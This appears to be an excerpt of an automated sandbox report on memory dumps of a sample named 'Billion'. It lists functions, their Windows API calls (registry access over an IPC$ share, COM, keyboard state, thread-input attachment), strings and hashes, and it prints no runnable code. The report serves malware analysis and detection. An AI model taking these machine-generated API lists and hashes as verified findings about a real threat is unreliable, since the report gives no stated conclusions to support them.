Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wcslen
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 747408836-2268648507
Opcode ID: 9fe920d3869ad238cfe630813f1cb3f7b5035cbdbbf82601c477706f63105444
Instruction ID: 3b192b3f35ad5ce3e256d11f3b875a1f4b6ec118d268c151a5ed059e39766898
Opcode Fuzzy Hash: 9fe920d3869ad238cfe630813f1cb3f7b5035cbdbbf82601c477706f63105444
Instruction Fuzzy Hash: 01415E7290421DAACF04FBE0DD86DEEB778AF28344F500065F605B6092EB756F49CBA1

Function 00190FCF Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 127registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 00138577: _wcslen.LIBCMT ref: 0013858A

WNetAddConnection2W.MPR(?,?,?,00000000), ref: 00191093
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 001910AF
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 001910CB
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 001910F5
CLSIDFromString.OLE32(?,000001FE,?,SOFTWARE\Classes\), ref: 0019111D
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00191128
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 0019112D

Strings

\IPC$, xrefs: 00191075
SOFTWARE\Classes\, xrefs: 00190FFF
\CLSID, xrefs: 00191015

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_wcslen
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 323675364-22481851
Opcode ID: afed5f6e031d0c3b7a13ff910c39e3c1634d9c6e7adb8544d270ac22fbbd375f
Instruction ID: 6e5bcad0e933dc6a1548225783d397c13cc94a236566cf93188c6f5a4e949012
Opcode Fuzzy Hash: afed5f6e031d0c3b7a13ff910c39e3c1634d9c6e7adb8544d270ac22fbbd375f
Instruction Fuzzy Hash: 7C41E572C10229BBCF11EBA4EC85DEEB7B8FF14750F044169FA01A2161EB719E44CB50

Function 001C4A34 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 001C4AD9
CreateCompatibleDC.GDI32(00000000), ref: 001C4AE0
SendMessageW.USER32(?,00000173,00000000,00000000), ref: 001C4AF3
SelectObject.GDI32(00000000,00000000), ref: 001C4AFB
GetPixel.GDI32(00000000,00000000,00000000), ref: 001C4B06
DeleteDC.GDI32(00000000), ref: 001C4B10
GetWindowLongW.USER32(?,000000EC), ref: 001C4B1A
SetLayeredWindowAttributes.USER32(?,?,00000000,00000001,?,00000000,?), ref: 001C4B30
DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?), ref: 001C4B3C

Strings

static, xrefs: 001C4A71

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
String ID: static
API String ID: 2559357485-2160076837
Opcode ID: 0d4fbbcfae92a8b216c76ed10aa8076c47c710288e58ce95fafbe25201272684
Instruction ID: b0dd82560453b1735d6ece085f2a36dec927eff9b9346d8b6ed9deb394afd276
Opcode Fuzzy Hash: 0d4fbbcfae92a8b216c76ed10aa8076c47c710288e58ce95fafbe25201272684
Instruction Fuzzy Hash: 55315A72100215BBDF219FA4EC08FDA3FA9FF19724F110229FA15A61A0C735D860DBA4

Function 001B468D Relevance: 16.8, APIs: 11, Instructions: 344fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 001B46B9
CoInitialize.OLE32(00000000), ref: 001B46E7
CoUninitialize.OLE32 ref: 001B46F1
_wcslen.LIBCMT ref: 001B478A
GetRunningObjectTable.OLE32(00000000,?), ref: 001B480E
SetErrorMode.KERNEL32(00000001,00000029), ref: 001B4932
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,?), ref: 001B496B
CoGetObject.OLE32(?,00000000,001D0B64,?), ref: 001B498A
SetErrorMode.KERNEL32(00000000), ref: 001B499D
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 001B4A21
VariantClear.OLEAUT32(?), ref: 001B4A35

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize_wcslen
String ID:
API String ID: 429561992-0
Opcode ID: 8cc934d96e7d73230d9e5dd9cb5cc7c93985acc4e1c0c50762aaf81a031db89a
Instruction ID: fe07c923613d26ac420171bcaaec7da091047719889a35f125e1cc2fb255c693
Opcode Fuzzy Hash: 8cc934d96e7d73230d9e5dd9cb5cc7c93985acc4e1c0c50762aaf81a031db89a
Instruction Fuzzy Hash: 0CC13771608301AFD700DF68C8849ABBBE9FF89748F10895DF9899B211DB31ED45CB52

Function 001A84DB Relevance: 16.8, APIs: 11, Instructions: 298comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 001A8538
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 001A85D4
SHGetDesktopFolder.SHELL32(?), ref: 001A85E8
CoCreateInstance.OLE32(001D0CD4,00000000,00000001,001F7E8C,?), ref: 001A8634
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 001A86B9
CoTaskMemFree.OLE32(?,?), ref: 001A8711
SHBrowseForFolderW.SHELL32(?), ref: 001A879C
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 001A87BF
CoTaskMemFree.OLE32(00000000), ref: 001A87C6
CoTaskMemFree.OLE32(00000000), ref: 001A881B
CoUninitialize.OLE32 ref: 001A8821

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize
String ID:
API String ID: 2762341140-0
Opcode ID: 92573a51cbd55c746ab1794d6c57c454e61de539c3b4c8795316eaf4be879a36
Instruction ID: ecdb75fc9edcaa4ed45f9327b19e00d38ee22b16a05aae9277dcc7ae38764644
Opcode Fuzzy Hash: 92573a51cbd55c746ab1794d6c57c454e61de539c3b4c8795316eaf4be879a36
Instruction Fuzzy Hash: 9BC10A79A00205EFDB14DFA4C884DAEBBF5FF49304B1484A9F9199B661DB30ED45CB90

Function 00190378 Relevance: 16.6, APIs: 11, Instructions: 122memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 0019039F
SafeArrayAllocData.OLEAUT32(?), ref: 001903F8
VariantInit.OLEAUT32(?), ref: 0019040A
SafeArrayAccessData.OLEAUT32(?,?), ref: 0019042A
VariantCopy.OLEAUT32(?,?), ref: 0019047D
SafeArrayUnaccessData.OLEAUT32(?), ref: 00190491
VariantClear.OLEAUT32(?), ref: 001904A6
SafeArrayDestroyData.OLEAUT32(?), ref: 001904B3
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 001904BC
VariantClear.OLEAUT32(?), ref: 001904CE
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 001904D9

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: 644b17c62c024f1522f10fb02515f7672d1ec84463d29bc3c2e85c0d46d53dc7
Instruction ID: 5ef7dfa20ae2e36539b5ff62fc60b273fa6d73d2f47ca0e2fc70aebd87e2c7eb
Opcode Fuzzy Hash: 644b17c62c024f1522f10fb02515f7672d1ec84463d29bc3c2e85c0d46d53dc7
Instruction Fuzzy Hash: 46416E75A00219DFCF05DFA4D844DAEBFB9FF18344F018029EA05A7661DB30EA85CBA0

Function 0019A635 Relevance: 16.6, APIs: 11, Instructions: 119keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 0019A65D
GetAsyncKeyState.USER32(000000A0), ref: 0019A6DE
GetKeyState.USER32(000000A0), ref: 0019A6F9
GetAsyncKeyState.USER32(000000A1), ref: 0019A713
GetKeyState.USER32(000000A1), ref: 0019A728
GetAsyncKeyState.USER32(00000011), ref: 0019A740
GetKeyState.USER32(00000011), ref: 0019A752
GetAsyncKeyState.USER32(00000012), ref: 0019A76A
GetKeyState.USER32(00000012), ref: 0019A77C
GetAsyncKeyState.USER32(0000005B), ref: 0019A794
GetKeyState.USER32(0000005B), ref: 0019A7A6

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 4c8914b37ff486c5e1ee7aa692a39d8df0bf8d50dfa28b61fe1dad5b1a885a28
Instruction ID: 013f786b21a666a163a7d1971878d702d4fad5fc227d69bb193a1ff1c870dbf7
Opcode Fuzzy Hash: 4c8914b37ff486c5e1ee7aa692a39d8df0bf8d50dfa28b61fe1dad5b1a885a28
Instruction Fuzzy Hash: 514106745047C96DFF398BA098057A5BEB0AF11308F88805DD6C64A6C2EBA59DCCC7E3

Function 001B9730 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 193COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,00000000,?), ref: 001B9750

Part of subcall function 00199805: _wcslen.LIBCMT ref: 00199828

_wcslen.LIBCMT ref: 001B97AB
_wcslen.LIBCMT ref: 001B97F9
_wcslen.LIBCMT ref: 001B9839
_wcslen.LIBCMT ref: 001B98CB

Strings

none, xrefs: 001B98C2, 001B98C7
cdecl, xrefs: 001B97A5, 001B97AA
winapi, xrefs: 001B97F3, 001B97F8
stdcall, xrefs: 001B9833, 001B9838

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: _wcslen$BuffCharLower
String ID: cdecl$none$stdcall$winapi
API String ID: 707087890-567219261
Opcode ID: 60a02808a8b2004dd2988a9c890cb4cf7a2f252b2342c8d6f8b131819658b999
Instruction ID: b019cc4b2420ba20962904a7d114df8a574a9560277a4c246c9a67e6181edafd
Opcode Fuzzy Hash: 60a02808a8b2004dd2988a9c890cb4cf7a2f252b2342c8d6f8b131819658b999
Instruction Fuzzy Hash: 7951E531A0411A9BCF14DFACC9909FEB7E5BF65364B204229FA66E7284DB31DD42C790

Function 001B4189 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 187comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 001B41D1
CoUninitialize.OLE32 ref: 001B41DC
CoCreateInstance.OLE32(?,00000000,00000017,001D0B44,?), ref: 001B4236
IIDFromString.OLE32(?,?), ref: 001B42A9
VariantInit.OLEAUT32(?), ref: 001B4341
VariantClear.OLEAUT32(?), ref: 001B4393

Strings

NULL Pointer assignment, xrefs: 001B427B
Invalid parameter, xrefs: 001B42C2
Failed to create object, xrefs: 001B4241, 001B42F7

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 636576611-1287834457
Opcode ID: c95df7697d6a70578f4761e055d4c384fdfac4e863f592eb44f4e9ee5311ed58
Instruction ID: 97a5d7df2bad070947d30f819aba5fecfd080c6438cd02a1a8422eae88b33c3a
Opcode Fuzzy Hash: c95df7697d6a70578f4761e055d4c384fdfac4e863f592eb44f4e9ee5311ed58
Instruction Fuzzy Hash: 6061CE70608311DFD710DF64D889FAABBE4BF49714F044859F9819B2A2CB70ED44CB92

Function 001A8BDA Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 186timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 001A8C9C
SystemTimeToFileTime.KERNEL32(?,?), ref: 001A8CAC
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 001A8CB8
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 001A8D55
SetCurrentDirectoryW.KERNEL32(?), ref: 001A8D69
SetCurrentDirectoryW.KERNEL32(?), ref: 001A8D9B
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 001A8DD1
SetCurrentDirectoryW.KERNEL32(?), ref: 001A8DDA

Strings

*.*, xrefs: 001A8DE0

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local$System
String ID: *.*
API String ID: 1464919966-438819550
Opcode ID: e7850b6dbc419879b669930de08cdc3753da98b449ede8a89e388f7c01e47085
Instruction ID: 7253b400ced83973a13b101656e6fa4032cb164375a7ef21c16bdbe6f58e1d47
Opcode Fuzzy Hash: e7850b6dbc419879b669930de08cdc3753da98b449ede8a89e388f7c01e47085
Instruction Fuzzy Hash: 73615BB6504305AFCB10EF60C845AAEB7E8FF99324F04482DF999C7251EB35E945CB92

Function 001C46E2 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 101windowCOMMON

Download Yara Rule

APIs

CreateMenu.USER32 ref: 001C4715
SetMenu.USER32(?,00000000), ref: 001C4724
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 001C47AC
IsMenu.USER32(?), ref: 001C47C0
CreatePopupMenu.USER32 ref: 001C47CA
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 001C47F7
DrawMenuBar.USER32 ref: 001C47FF

Strings

0, xrefs: 001C46F0
F, xrefs: 001C47EA

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup
String ID: 0$F
API String ID: 161812096-3044882817
Opcode ID: d0870b404ad8d2179811b323411a93ff8b54738e9cb6405be62a960b9bda9172
Instruction ID: e1fa0643c760f68ad9d083684349b604f68dccf89de6afc2ed76ab66b5d68cc0
Opcode Fuzzy Hash: d0870b404ad8d2179811b323411a93ff8b54738e9cb6405be62a960b9bda9172
Instruction Fuzzy Hash: D9415375A01209EFDB24CFA4E998FAA7BB5FF19314F14402DEA46A7360C770E914CB50

Function 0019282C Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 78windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0013B329: _wcslen.LIBCMT ref: 0013B333

Part of subcall function 001945FD: GetClassNameW.USER32(?,?,000000FF), ref: 00194620

SendMessageW.USER32(?,0000018C,000000FF,00020000), ref: 001928B1
GetDlgCtrlID.USER32 ref: 001928BC
GetParent.USER32 ref: 001928D8
SendMessageW.USER32(00000000,?,00000111,?), ref: 001928DB
GetDlgCtrlID.USER32(?), ref: 001928E4
GetParent.USER32(?), ref: 001928F8
SendMessageW.USER32(00000000,?,00000111,?), ref: 001928FB

Strings

ComboBox, xrefs: 00192839
ListBox, xrefs: 0019286E

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_wcslen
String ID: ComboBox$ListBox
API String ID: 711023334-1403004172
Opcode ID: 8ea760b8d949394b9e17a735ab2977ae18e6014dc519f4ed1d6726807587f8a8
Instruction ID: d4f92c960ee43d6cba6ce78f76e2edf60beec869267c7bdcdc6f7c820241dd03
Opcode Fuzzy Hash: 8ea760b8d949394b9e17a735ab2977ae18e6014dc519f4ed1d6726807587f8a8
Instruction Fuzzy Hash: 0821D474900128BBCF04AFA0DC85EEEBFB4EF15314F000166F951A7291DB398849DB60

Function 0019290D Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 77windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0013B329: _wcslen.LIBCMT ref: 0013B333

Part of subcall function 001945FD: GetClassNameW.USER32(?,?,000000FF), ref: 00194620

SendMessageW.USER32(?,00000186,00020000,00000000), ref: 00192990
GetDlgCtrlID.USER32 ref: 0019299B
GetParent.USER32 ref: 001929B7
SendMessageW.USER32(00000000,?,00000111,?), ref: 001929BA
GetDlgCtrlID.USER32(?), ref: 001929C3
GetParent.USER32(?), ref: 001929D7
SendMessageW.USER32(00000000,?,00000111,?), ref: 001929DA

Strings

ComboBox, xrefs: 0019291A
ListBox, xrefs: 0019294F

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_wcslen
String ID: ComboBox$ListBox
API String ID: 711023334-1403004172
Opcode ID: 5ef7f716cbbb91ed1f2c38c1f53118099a4f69803b614665ca564c4aad95e302
Instruction ID: 55ddd0033aab8cf6cbc895a30ae474190e5201e085249430652eb1d8767613b6
Opcode Fuzzy Hash: 5ef7f716cbbb91ed1f2c38c1f53118099a4f69803b614665ca564c4aad95e302
Instruction Fuzzy Hash: 8221C3B5E00228BBCF05ABA0DC85EFEBFB8EF15304F004056FA51A7291DB759849DB60

Function 001C44BF Relevance: 15.2, APIs: 10, Instructions: 182windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 001C4539
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 001C453C
GetWindowLongW.USER32(?,000000F0), ref: 001C4563
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 001C4586
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 001C45FE
SendMessageW.USER32(?,00001074,00000000,00000007), ref: 001C4648
SendMessageW.USER32(?,00001057,00000000,00000000), ref: 001C4663
SendMessageW.USER32(?,0000101D,00001004,00000000), ref: 001C467E
SendMessageW.USER32(?,0000101E,00001004,00000000), ref: 001C4692
SendMessageW.USER32(?,00001008,00000000,00000007), ref: 001C46AF

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: MessageSend$LongWindow
String ID:
API String ID: 312131281-0
Opcode ID: be8384031bbc29f708f82bd8c0386edd5e5d9dcafa91c2f1d43faa1b822b4db1
Instruction ID: 5c13c920f2cba6a4b2607c1bb254e37d1317c6e59dabfb092bd0612ae26cf112
Opcode Fuzzy Hash: be8384031bbc29f708f82bd8c0386edd5e5d9dcafa91c2f1d43faa1b822b4db1
Instruction Fuzzy Hash: C0618975A00218AFDB10DFA4CC85FEE77B8EF19300F10415AFA14A72A2D774E989DB50

Function 0019BAF6 Relevance: 15.1, APIs: 10, Instructions: 88threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0019BB18
GetForegroundWindow.USER32(00000000,?,?,?,?,?,0019ABA8,?,00000001), ref: 0019BB2C
GetWindowThreadProcessId.USER32(00000000), ref: 0019BB33
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,0019ABA8,?,00000001), ref: 0019BB42
GetWindowThreadProcessId.USER32(?,00000000), ref: 0019BB54
AttachThreadInput.USER32(?,00000000,00000001,?,?,?,?,?,0019ABA8,?,00000001), ref: 0019BB6D
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,0019ABA8,?,00000001), ref: 0019BB7F
AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,0019ABA8,?,00000001), ref: 0019BBC4
AttachThreadInput.USER32(?,?,00000000,?,?,?,?,?,0019ABA8,?,00000001), ref: 0019BBD9
AttachThreadInput.USER32(00000000,?,00000000,?,?,?,?,?,0019ABA8,?,00000001), ref: 0019BBE4

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

